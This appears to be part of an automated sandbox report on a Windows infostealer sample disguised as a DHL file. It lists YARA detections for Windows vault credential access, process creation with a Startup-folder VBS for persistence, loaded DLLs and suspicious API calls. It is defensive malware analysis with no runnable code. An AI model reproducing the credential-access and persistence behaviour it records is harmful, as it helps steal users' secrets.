Source: 12.2.DHL8900067.exe.4043658.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.DHL8900067.exe.3913658.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.4030000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.3d10000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.3a53658.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.DHL8900067.exe.3900000.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.DHL8900067.exe.3900000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.4320000.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.4030000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.4360000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.417058.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.3a40000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.3d50000.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.4043658.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000F.00000002.3639705406.0000000003A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000F.00000002.3640304755.0000000003D10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000E.00000002.2803728167.0000000003900000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000C.00000002.2832772460.0000000004320000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000C.00000002.2832196987.0000000004030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000C.00000002.2829706410.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0000000F.00000002.3637238131.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, rgjtyRJ0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, rgjtyRJ0.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, mNYd.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, mNYd.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, 3zL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, 3zL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, 3zL.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, 3zL.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AE10BF AdjustTokenPrivileges,CloseHandle,	0_2_00AE10BF
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AE16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	0_2_00AE16C3
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009510BF AdjustTokenPrivileges,CloseHandle,	12_2_009510BF
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009516C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	12_2_009516C3

Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: unknown	Process created: C:\Users\user\Desktop\24sBT3Cffz.exe "C:\Users\user\Desktop\24sBT3Cffz.exe"
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Process created: C:\Users\user\AppData\Local\directory\DHL8900067.exe "C:\Users\user\Desktop\24sBT3Cffz.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DHL8900067.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\directory\DHL8900067.exe "C:\Users\user\AppData\Local\directory\DHL8900067.exe"
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process created: C:\Users\user\AppData\Local\directory\DHL8900067.exe "C:\Users\user\AppData\Local\directory\DHL8900067.exe"
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Process created: C:\Users\user\AppData\Local\directory\DHL8900067.exe "C:\Users\user\Desktop\24sBT3Cffz.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\directory\DHL8900067.exe "C:\Users\user\AppData\Local\directory\DHL8900067.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process created: C:\Users\user\AppData\Local\directory\DHL8900067.exe "C:\Users\user\AppData\Local\directory\DHL8900067.exe"	Jump to behavior

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Section loaded: wintypes.dll	Jump to behavior

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA0A76 push ecx; ret	0_2_00AA0A89
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0040D2F1 push ecx; ret	12_2_0040D304
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00910A76 push ecx; ret	12_2_00910A89
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_0040D2F1 push ecx; ret	15_2_0040D304

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A9F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	0_2_00A9F98E
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B11C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	0_2_00B11C41
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0090F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	12_2_0090F98E
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00981C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	12_2_00981C41

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
